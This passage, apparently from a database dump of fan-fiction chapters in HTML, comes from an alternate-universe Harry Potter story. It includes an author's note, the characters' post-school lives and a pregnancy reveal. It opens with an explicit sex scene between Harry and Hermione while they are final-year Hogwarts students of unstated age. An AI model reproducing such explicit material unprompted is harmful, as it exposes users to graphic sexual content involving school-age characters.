good.&#8221; She replied.</p>\n\n<p>&quot;Cocky?&quot; Harry\'s eyes took on an evil glint. &quot;We\'ll see about that, won\'t we?&quot;</p>\n\n<p>Hermione felt her face turn red. &#8220;You&#8217;re a lot naughtier than I thought.&#8221; Harry&#8217;s grin widened. &#8220;If you&#8217;re a good boy I&#8217;ll punish you later.&#8221;</p>\n\n<p>&#8220;How about right now?&#8221; Harry asked devilishly. He lay down next to her, then took one hand and trailed it up her leg, starting at her knee, not stopping when he reached the hem of her skirt. Tracing lightly across her thighs, Hermione shuddered as his fingers brushed over her sex. It was extremely warm now, and her skin tingled wherever he touched. Harry sat back up and undid the zipper on the side of the skirt, then gently sliding it down her legs, making sure to trail his fingers along with it. Hermione lifted her body as he pulled it down, never once taking her eyes off his. Harry tossed the garment aside as he lay down next to her once more, this time pulling her on top of him.</p>\n\n<p>Hermione buried her fingers in his hair as she lowered her mouth to his; the feel of his hands stroking her back through her locks was almost too much to take. Pressing her lips harder against his, she instinctively pushed her lower body against him, rubbing up against his erection.</p>\n\n<p>Harry groaned at the feel of her, and moving his hands down over her waist, hooked his thumbs in the waistband of her panties and began to slip them down her legs. Her movements made him feel bolder, and when Hermione shifted her body up, the panties slipped free. </p>\n\n<p>Not wanting to be alone in being naked, Hermione made quick work of pulling his boxers off, her eyes widening as she took in his size for the first time. &#8216;<i>Is that supposed to fit in me?</i>&#8217; she wondered if her face looked as panicked as she suddenly felt.</p>\n\n<p>&#8216;<i>Is there something wrong with me?</i>&#8217; Harry thought, a ball of fear tightening in his stomach. &#8220;Is everything all right?&#8221; he choked out, trying not to sound upset.</p>\n\n<p>&#8220;No!&#8221; Hermione&#8217;s eyes shot up to meet his. &#8220;God, no Harry&#8230; but&#8230; I&#8217;m just thinking&#8230; will you&#8230; fit?&#8221; her last word was almost whispered and he almost laughed in relief. &#8220;What&#8217;s so funny?&#8221;</p>\n\n<p>&#8220;Nothing.&#8221; Harry replied, pulling her down next to him. &#8220;I just thought, from the way you were looking at me, that there was something wrong.&#8221;</p>\n\n<p>Hermione felt bad. &#8220;I&#8217;m sorry, I didn&#8217;t mean to make you feel that way.&#8221; She said. &#8220;I happen to think you&#8217;re just fine.&#8221;</p>\n\n<p>&#8220;Some people say my smile is too lopsided.&#8221; Harry said, feigning deep thought. &#8220;And others say my hair is too messy.&#8221;</p>\n\n<p>&#8220;How dare they!&#8221; Hermione exclaimed in mock outrage. &#8220;I love your smile.&#8221; She leaned forward, kissing the side of his mouth gently. &#8220;And I love your hair.&#8221; Her fingers reached up and tangled in the messy locks. &#8220;Most of all, I love you.&#8221; Hermione&#8217;s voice grew soft as Harry grinned and leaned in, kissing her so thoroughly she lost all conscious contemplations. All she could think about now was Harry, how he was kissing her, holding her, loving her.</p>\n\n<p>His hands were now moving fast over her body, as if he was saying they had played long enough. Harry was so filled with his desire for her that it took all his self control not to just plunge right into her.</p>\n\n<p>Hermione fell back on the pillows, bringing Harry on top of her. Her tongue stroked against his, clashing madly; her fingers clutched at the skin on his back. &#8220;Harry&#8230;&#8221; she tore her mouth away to gasp in some much needed air while grabbing his hand at the same time. &#8220;Harry, touch me.&#8221;</p>\n\n<p>&#8220;What?&#8221; he asked.</p>\n\n<p>&#8220;Please.&#8221; Hermione nearly whimpered, pressing his fingers into her sex. His mouth returned to hers as he thrust his index finger inside her, stroking her button that only she before had pleasured. Listening to her rapid breathing was turning him on even more as his finger began to thrust faster in and out of her.</p>\n\n<p>&#8220;Harry!&#8221; she cried out, feeling herself grow wet. &#8220;Can we please&#8230;I just&#8230;&#8221; she couldn&#8217;t finish her sentence; the waves of ecstasy washing over her were just too great. &#8220;I need you inside me.&#8221;</p>\n\n<p>&#8220;All right.&#8221; Harry moved, but then paused. &#8220;Hermione&#8230;&#8221;</p>\n\n<p>&#8220;What?&#8221; she asked.</p>\n\n<p>&#8220;This&#8230; well&#8230; if you&#8217;ve never done this before, it will hurt.&#8221; Harry bit his lower lip. &#8220;We can still stop.&#8221;</p>\n\n<p>&#8220;No.&#8221; Hermione said clearly. &#8220;I don&#8217;t want to stop.&#8221;</p>\n\n<p>Harry caressed the side of her face and kissed her softly. &#8220;I&#8217;ll be gentle.&#8221; He promised. </p>\n\n<p>&#8220;Okay.&#8221; She whispered right before Harry covered her mouth with his and positioned himself where his hand had been moments before. Kissing her harder, he tried to take her mind off the pain she would soon be feeling. Gently, he began to enter her, amazed at the way she instantly closed around him.</p>\n\n<p>&#8220;All right?&#8221; he asked, his lips still on hers.</p>\n\n<p>&#8220;Yes.&#8221; She answered, bucking her hips slightly as he went deeper into her. After another moment, he came to her barrier. He looked into her eyes, seeing that she still wanted to go on, then buried his face in her shoulder and pushed through.</p>\n\n<p>&#8220;OH!&#8221; Hermione&#8217;s cry echoed in the large room. Tears stung her eyes, oh this hurt, it hurt a lot.</p>\n\n<p>&#8220;Hermione, I&#8217;m sorry.&#8221; Harry said, her pain written all over his face. &#8220;We&#8217;ll stop.&#8221;</p>\n\n<p>&#8220;No, no.&#8221; Hermione said. &nbsp;&#8220;It&#8230; it hurts but it&#8217;s going away.&#8221;</p>\n\n<p>&#8220;It is?&#8221; he asked. She nodded and he brushed the lingering tears away. Harry began to pick up a slight rhythm, moving in and out of her gently. The pain faded away and was replaced by sensations that surpassed anything Hermione had felt before. </p>\n\n<p>She began to push up against him, meeting each of his thrusts. He buried his face in her shoulder, as he began to move harder into her, beginning to pant as she didn&#8217;t bother to muffle the cries that were escaping her throat.</p>\n\n<p>They were moving together now, Hermione could vaguely hear herself crying out Harry&#8217;s name when suddenly she was warmed from head to toe, and Harry was collapsing on top of her, breathing heavily as he came down from his orgasm as well. They lay together for a long while, Harry caressing her bare arm as they kissed lazily.</p>\n\n<p>&#8220;I love you.&#8221; Harry muttered sleepily. He reached down and pulled the covers up and over them, Hermione moving over and nestling herself perfectly in his arms.</p>\n\n<p>&#8220;Love you too.&#8221; She replied, tilting her face back to kiss him once more. </p>\n\n<p>Falling asleep that night had never been sweeter.</p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>&#8220;So?&#8221; Blaise asked, tapping the table with her finger.</p>\n\n<p>&#8220;So what?&#8221; Hermione asked, playing dumb.</p>\n\n<p>Blaise gave her a look. &#8220;Don&#8217;t so what me, Hermione Granger! You slept with Harry and I want to know how it was!&#8221;</p>\n\n<p>&#8220;Why?&#8221; Hermione teased. &#8220;Didn&#8217;t the state of your bed tell you anything?&#8221;</p>\n\n<p>Blaise sat back, her mouth agape. &#8220;I can&#8217;t believe you just said that!&#8221;</p>\n\n<p>&#8220;What?&#8221; Hermione grinned at her. &#8220;I&#8217;m not the same woman I was yesterday.&#8221;</p>\n\n<p>&#8220;Obviously.&#8221; Blaise sat back and gave her an appraising glance. &#8220;All right, keep your secrets.&#8221; She began to eat her breakfast, not looking up.</p>\n\n<p>Hermione smiled slyly and leaned over. &#8220;I&#8217;ll just say that it was wonderful, he couldn&#8217;t have been more considerate of my feelings, and that I&#8217;ve never had a better time in my life.&#8221;</p>\n\n<p>Blaise let out a squeal that was most likely heard in <st1:country-region><st1:place>China</st1:place></st1:country-region>. &#8220;Hermione!&#8221; she nearly screamed. &#8220;I&#8217;m so happy for you!!!&#8221;</p>\n\n<p>&#8220;Honestly!&#8221; Hermione&#8217;s face turned bright red. &#8220;I don&#8217;t think the whole sodding school knows yet Blaise.&#8221; She said sarcastically.</p>\n\n<p>&#8220;Sorry.&#8221; Blaise lowered her voice. &#8220;I&#8217;m really happy for you.&#8221; She said again, squeezing her best friend&#8217;s arm.</p>\n\n<p>&#8220;Thanks.&#8221; Hermione replied. &#8220;So I meant to ask you earlier, where did you sleep last night?&#8221;</p>\n\n<p>It was Blaise&#8217;s turn to blush. Sneaking a glance at Ron, she smiled. &#8220;The <st1:place><st1:placename>Astronomy</st1:placename>\n\n<st1:placetype>Tower</st1:placetype></st1:place>.&#8221;</p>\n\n<p>Hermione stared at her disbelievingly. &#8220;Wasn&#8217;t that&#8230;uncomfortable?&#8221;</p>\n\n<p>&#8220;Not really.&#8221; Blaise studied her nails. &#8220;Ron makes a nice sleeping bag.&#8221;</p>\n\n<p>&#8220;Forget I said anything.&#8221; Hermione sniggered. They were just finishing up their breakfast when Harry dropped down on the bench next to her.</p>\n\n<p>&#8220;Morning, love.&#8221; He said, grinning widely at her.</p>\n\n<p>&#8220;Morning.&#8221; She echoed, turning and gazing into his eyes. As if magnetically drawn together, they began snogging right there in the Great Hall.</p>\n\n<p>&#8220;Honestly.&#8221; Blaise rolled her eyes and looked at Ron, who had just sat down next to her. &#8220;You&#8217;d think they hadn&#8217;t woken up together this morning.&#8221;</p>\n\n<p>Ron snorted. He was about to say something when Dumbledore stood up and announced that everyone should proceed to Hogsmeade station to the train.</p>\n\n<p>Reluctantly, Harry and Hermione broke apart; she reached down and grabbed a heavy bag. Ron choked back a laugh.</p>\n\n<p>&#8220;Hermione, why didn&#8217;t you put all your books in your trunk?&#8221; he sniggered and Blaise elbowed him.</p>\n\n<p>&#8220;Because, <i>Ronald</i>, I wanted to do a bit of light reading on our way back to <st1:city><st1:place>London</st1:place></st1:city>.&#8221; Hermione replied pertly.</p>\n\n<p>Harry bit his lower lip, trying to hide his own smile. &#8220;Here, I&#8217;ve got that for you.&#8221; He said, taking the bag from her shoulder.</p>\n\n<p>&#8220;Light reading? Looks like you have the whole bloody library in there.&#8221; Ron quipped.</p>\n\n<p>Blaise glared at him. &#8220;Are you making fun of my friend Ron?&#8217; she asked and flounced off.</p>\n\n<p>Ron immediately stopped chortling and followed Blaise with the air of a faithful puppy. &#8220;No Blaise! I was just teasing her I swear&#8230;&#8221; his voice was lost in the wake of Harry and Hermione&#8217;s laughter.</p>\n\n<p>&#8220;She certainly has him whipped doesn&#8217;t she?&#8221; Harry said as they exited the castle.</p>\n\n<p>&#8220;It&#8217;s like mind control.&#8221; Hermione wiped her eyes. &#8220;Oh, that was funny.&#8221; She started giggling all over again.</p>\n\n<p>They were still laughing ten minutes later as they searched compartments for their two friends. &#8220;I hope we don&#8217;t walk in on them snogging.&#8221; Hermione said as they went past another few.</p>\n\n<p>&#8220;We&#8217;ll have to show them a thing or two, won&#8217;t we?&#8221; Harry said softly in her ear. He could feel her smile. &#8220;Aha!&#8221; he crowed, flinging open a door. &#8220;We were wrong.&#8221; He turned and told his girlfriend.</p>\n\n<p>&#8220;What?&#8221; she asked, poking her head in. &#8220;Oh, hey you two. We&#8217;ve been looking all over the train for you guys.&#8221; Hermione closed the door behind her and looked at Blaise and Ron, who were sitting in silence.</p>\n\n<p>&#8220;Hermione, I&#8217;m sorry for making fun of your reading habits.&#8221; Ron said in a subdued voice.</p>\n\n<p>&#8220;It&#8217;s all right Ron.&#8221; She stared at him strangely as she sat down next to Harry.</p>\n\n<p>&#8220;I&#8217;d like to borrow one of your books sometime.&#8221; Ron continued, shooting a glance at Blaise.</p>\n\n<p>&#8220;Uh&#8230;&#8221; Hermione looked at Harry, who was equally confused. Ron, reading? &#8220;Sure&#8230;.&#8221;</p>\n\n<p>&#8220;That&#8217;s good Ron!&#8221; Blaise suddenly came alive. She pushed him down on the bench, ignoring the fact that there were now two other people in the room.</p>\n\n<p>Hermione and Harry looked at each other, rolling their eyes. Harry got up and moved over to the window, taking a last look at Hogwarts. A sudden, strange, heavy feeling settled over him as the train began to move away from the station.</p>\n\n<p>&#8220;What&#8217;s wrong?&#8221; Hermione slid over next to him, placing a hand on his shoulder. &#8220;Why the sudden long face?&#8221;</p>\n\n<p>&#8220;I feel like I&#8217;m leaving home.&#8221; Harry said. &#8220;I can&#8217;t believe we&#8217;re not coming back here next year, you know?&#8221;</p>\n\n<p>Hermione leaned her head against his shoulder, moving her hand to rub small circles on his back. &#8220;I know, but think about it, now we can do magic anywhere, Harry. Even though we&#8217;re not coming back to Hogwarts anymore, there&#8217;s still a place for us all.&#8221;</p>\n\n<p>&#8220;It just sort of scares me, that I don&#8217;t really have a place to go yet.&#8221; Harry said, staring out the window. &#8220;I&#8217;m staying with Draco a few weeks until I find my own flat.&#8221; He turned and smiled slightly at her. &#8220;I&#8217;m sure I&#8217;ll feel better once I have a place of my own.&#8221;</p>\n\n<p>&#8220;Sure you will.&#8221; Hermione said comfortingly.</p>\n\n<p>His smile turned a bit wicked. &#8220;What will be fun now is going back to my aunt and uncle&#8217;s house and getting the rest of my things. I figure I can give them a good scare or two now that I can do magic all the time.&#8221; They both burst out laughing as the train turned on the tracks and the castle slid out of sight.</p>\n\n<p>A/N: WHEW! Thought that chapter would never be finished! Please R/R and stay tuned for the upcoming last *sob* chapter of AoS!</p> '),
	(78, 10, '\n\n\n\n<p class="MsoNormal">Chapter 9</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Heaven: Well\nthanks again for another wonderful round of reviews on the last chapter!\nAlthough I&#8217;m afraid I must pull my sarcastic face to one&#8212;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Michelle&#8217;s Review:\nI think that\nyou need to check out who the characters exactly are. First off, Blasie is a\nSlytherin boy not a girl. Hermione is NOT room mates with Pansy Parkinson shes\nalso in Slytherin. Hannah Abbot is a Hufflepuff. Check before write.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Michelle,\nhoney, I think you need to Check before Read. If you had taken time to notice\nthe rather important AUTHOR&#8217;S NOTE, then you&#8217;d have realised that this is an AU\nfic, which means that we use the characters in a DIFFERENT way. With that in\nmind, Hannah and Pansy are Hermione&#8217;s roommates, Blaise, which is a unisex name\nANYWAYS, is a girl, and therefore, you should take your own advice!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">*puts\nnice face back on*</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Anyways!\n:)&nbsp; I hate to sound so mean, especially\nwhen I&#8217;m sure the reviewer isn&#8217;t even going to read this, but it annoys me when\npeople don&#8217;t&#8217; read the authors notes and then complain that something is wrong\nin the story. The notes wouldn&#8217;t be there unless they were important, and are\nworth reading in most cases!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I&#8217;ll\nsay it lots! <b style="mso-bidi-font-weight:normal">AU! AU! AU! AU! AU! AU! </b></p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">This\nis the last chapter of AoS *cries* we both really wish that it didn&#8217;t have to\ncome to an end but all things do at one point or another. However, there are a\nfew deleted scenes from the fic that we both want to write that don&#8217;t exactly\nfit in, so we&#8217;re going to have those as well, hopefully soon!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">So\nstay tuned, we promise they&#8217;re really funny and you will all enjoy them much!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">On\nwith the show!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">A Year or so Later&#8230;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Set the bags\nwhere?&#8221; Harry called over his shoulder, carefully balancing three full paper\nsacks in his arms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;On the counter!&#8221;\nHermione replied, kicking the front door shut behind her. Harry gratefully\ndropped the bags near the sink and grinned as his girlfriend carried her own\narmload through the doorway. She dumped them down next to his and gave him a\nsmile. &#8220;That&#8217;s the last time I go Muggle grocery shopping!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I agree, that\nstore was packed.&#8221; Harry agreed, slipping his arms around her slim waist. &#8220;You\nwould think Muggles have better things to do on a Saturday.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mmmhmm&#8230;.&#8221;\nHermione closed her eyes and leaned up against Harry&#8217;s frame. She thought for a\nmoment about the past year and a half.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">About a month\nafter leaving Hogwarts, Hermione had received an invitation to join a huge\narchaeological research company, which she immediately accepted. A few weeks\nafter that, she found herself on the digs she had dreamed of since childhood.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise had used\nher popularity and style to become one of the wizarding world&#8217;s hottest fashion\ndesigners. She owned her own shop in Diagon Alley, with chains in Paris, New\nYork, Chicago, Venice, Sydney and of course, Hogsmeade. Somehow, Hermione\nwasn&#8217;t sure, she had convinced Ron to become one of her models for men&#8217;s\nfashions, and he was also a huge hit.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The two girls\nshared a flat in Diagon Alley, close to both of their workplaces. It was roomy,\nwith four bedrooms, four and a half baths, a large library (where Hermione\nhoused her large set of Wizarding Encyclopaedias) a formal dining room,\nspacious kitchen, comfortable living room and a glassed in veranda in back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry had joined\nthe Magpie reserve team upon leaving Hogwarts. They had actually offered him a\nregular team position, but he had declined, wanting to have time to pursue another\ndream of his, becoming an artist. Not wanting his work bought due to his name,\nHarry had assumed the identity of James Evans, and his drawings and paintings\nwere sold in a few small galleries, never making quite the profit it would\nshould he have put them under his Potter name, but it didn&#8217;t bother him. &nbsp;Almost everything he sketched was of Hermione,\nalthough most of those drawings never made it out of his sketchpad due to their\nnature. Harry owned his own place not too far away from Hermione, and they saw\neach other nearly every day.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Draco had the\nmost surprising profession out of all of them; he worked with Ron&#8217;s brother as\na dragon tamer. The first six months of his job he spent training in Romania, but now worked closer to his flat in London. He and Ginny had parted ways not long\nafter Hogwarts, and a little while after getting back from Romania he met his current girlfriend, a girl\nnamed Daniela who ran a flower shoppe next door to Blaise&#8217;s. The three girls\noften met for lunch and had become extremely good friends.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What are you\nthinking about?&#8221; Harry asked, running his fingers through her hair. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh nothing.&#8221;\nHermione looked up at him. &#8220;Just that I think we should add some more of our\nspecial sketches to that book of yours.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry snorted\nwith laughter. &#8220;I wish you&#8217;d let me sell those&#8230;. I&#8217;d change your face. Your\nbody is just too gorgeous for words.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione blushed\nred. &#8220;No, Harry&#8230; you&#8217;re the only one I want to see my body.&#8221; He grinned and\nbent down, pressing his lips against hers softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You two are so\nlovey dovey, it makes me ill!&#8221; Blaise announced. She had been sitting at the\nkitchen table nursing a cup of tea for the past half hour, and it amused her to\nno end that Harry and Hermione had been standing there well over a few minutes\nand had yet to notice her. &#8220;Herms, doesn&#8217;t it make you sick?&#8221; she teased.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Honestly Blaise&#8230;\nI&#8217;m treated to more of you and Ron snogging than you ever see of Harry and me.&#8221;\nHermione replied. &#8220;And also&#8212;&#8220; suddenly she stopped talking, her face turning a\nlight shade of green. &#8220;Oh not again.&#8221; Hermione pulled away from Harry and ran\nfrom the room, covering her mouth with her hand.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry looked at\nBlaise with a worried expression and the two hurried out of the room after her.\nHermione was bent over the toilet, heaving everything she&#8217;d had to eat earlier\nthat day. Harry rushed over and rubbed his hand in circles on her back. Blaise\nwet one of the towels sitting on the counter top and filled a glass with water.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sat\nback, a fine sheen of sweat covering her brow. Silently, she took the towel and\nwiped her face off, then got up shakily and rinsed her mouth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks you\nguys.&#8221; She managed hoarsely after a few moments. Harry was still supporting\nher, his arm around her waist. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione how\nmany times have you been sick this week?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t know. A\ncouple times a day.&#8221; Hermione waved her hand. &#8220;It&#8217;s just the flu; it&#8217;s been\ngoing around lately. I&#8217;ll be all right.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Perhaps you\nshould go see a mediwizard.&#8221; Blaise said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione shook\nher head. &#8220;No, guys, honestly. Give me a few days and I&#8217;ll be all right.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">However, when a\nfew days later rolled around and Hermione still found herself sick a good deal\nof the day, she allowed Blaise to drag her into St. Mungos.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione filled\nout the necessary form then sat down to wait the normal hour and a half before\na mediwizard would come for her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I still don&#8217;t\nthink this is necessary.&#8221; Hermione crossed her arms over her chest and pouted\nlike a young child. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, you&#8217;d\nbe on your deathbed before you would agree to see a mediwizard, so just sit\nback and be quiet.&#8221; Blaise said. She reached for a magazine sitting on the\ntable in front of them and started idly flipping through it. &#8220;Ooooh look how\ngood Ron looks!&#8221; she squealed as she came upon a picture of her boyfriend\ndressed up in one of her fashions. Ron was leaning against the side of the\nphoto, with a dress robe slung over one shoulder, winking roguishly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smiled\nat Blaise&#8217;s obvious delight. She was happy for her friend, that she had found\nsomeone she cared about as much as Hermione herself loved Harry. A slight wave\nof nausea passed over her, and she closed her eyes, resting her head on the\nback of the chair, hoping it would go on by without the usual act that came\nalong with it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">It did, and she\nwas grateful for it. Hermione kept her eyes closed, and dozed off eventually.\nAwaking to Blaise shaking her gently, the two girls went in to a smaller room,\nand waited some more.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Pregnant!&#8221; The\nmediwizard, a Dr. Nicole Frederick announced. Hermione was sure her jaw drop\nmirrored the one on Blaise&#8217;s face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; she asked\nweakly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re two\nmonths pregnant. Congratulations!&#8221; the woman smiled at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh&#8230; Merlin&#8230;&#8221;\nHermione uttered, pressing a hand to her abdomen. Pregnant!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221;\nBlaise hugged her. &#8220;I can&#8217;t believe it, you and Harry are going to have a baby!\nI&#8217;m going to be an aunt!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m having a\nbaby.&#8221; Hermione repeated quietly. A sudden joy flowed through her. &#8220;OH MY GOD\nI&#8217;M HAVING A BABY!&#8221; she screamed, and the mediwizard and Blaise both started\nlaughing.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dr. Frederick\ngave her some directions and some spells to use for the nausea, along with\ninstructions to come back monthly for check ups. Hermione left feeling\nextremely happy and excited, and looking forward to meeting up with Harry to\nshare the news with him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do you think\nhe&#8217;ll be excited about it?&#8221; Blaise asked as they arrived back at their flat.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I should think\nso.&#8221; Hermione replied, sinking into a chair. &#8220;I mean, he&#8217;s always said he wants\nchildren, I just don&#8217;t think he was expecting it so soon.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Which of you\nforgot to take Orgus Root?&#8221; Blaise asked slyly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione blushed.\n&#8220;Probably me.&#8221; She answered. &#8220;I&#8217;ve been so busy on the latest dig that I&#8217;ve forgotten\nto do lots of things.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise feigned\nshock. &#8220;You, Hermione Granger, the one who plans her weeks a year ahead of\nschedule, forgot to take birth precautions?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shut up.&#8221;\nHermione tried to glare but couldn&#8217;t, she was in too good a mood. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;How are you\ngoing to tell him?&#8221; Blaise asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m not sure\nyet.&#8221; Hermione confessed. &#8220;Any ideas?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Make him a nice\ndinner.&#8221; Blaise said immediately, &#8220;With all his favourite foods.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmmm&#8230;&#8221; Hermione\nmused. &#8220;I think you&#8217;re on to something&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Two hours later\nshe surveyed Harry&#8217;s kitchen with a look of satisfaction. She had set the table\nfirst off, each plate sitting nicely, two candles in the middle waiting to be\nlit. Hermione set each dish aside with a warming spell. She had fixed special\nfoods that night; hopefully it would get the message to Harry. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Time for a quick\nshower.&#8221; She said to herself. Harry would be home in about a half hour and\nHermione wanted everything to be ready. Slipping into a pair of jeans, she\npulled a (baby) tee shirt over her head, and quickly pulled her hair back into\na low ponytail.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione went\ninto the front foyer and perched herself on the table, waiting for Harry to\ncome through the door. She didn&#8217;t have to wait long, about five minutes later a\nfamiliar pop was heard and Harry came through the front door.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I didn&#8217;t know\nyou were coming over!&#8221; he said, grinning at his girlfriend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I wanted to\nsurprise you.&#8221; Hermione slid off the table. She was about to wrap her arms\naround him when she got a glance at his robes. &#8220;How on earth do you manage to\nget so many grass stains in one practice?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Luck?&#8221; Harry\nasked impishly, scratching the back of his head. &#8220;I think that&#8217;s about right.&#8221;\nHermione laughed and kissed him. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Go get yourself\ncleaned up. I made dinner for you.&#8221; She said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You did?&#8221; he\nplayfully grimaced and then laughed as she smacked his shoulder. &#8220;All right all\nright I was just teasing. I&#8217;m sure it&#8217;s delicious.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s what I\nwant to hear.&#8221; Hermione said and after another quick hard kiss, Harry\ndisappeared into his bathroom.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What did you\nmake?&#8221; Harry asked awhile later as he entered the kitchen. He wrapped his arms\naround Hermione&#8217;s waist.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;ll see in a\nminute.&#8221; She turned around and grinned at him. His hair was still slightly\ndamp, falling into his eyes, and he wore a soft blue jumper that she liked to\nborrow from time to time. Harry leaned down and kissed her again, slowly and\ngently. Hermione wrapped her arms around his neck and pressed her body up\nagainst his, wondering if he would feel anything different yet. She doubted it,\nshe knew she wasn&#8217;t showing or anything, but as close as their bodies had been\nsince they had gotten together, Harry might see something.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So what&#8217;s for\ndinner?&#8221; Harry asked some time later when they finally broke apart. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sit down and\nsee.&#8221; Hermione replied. He 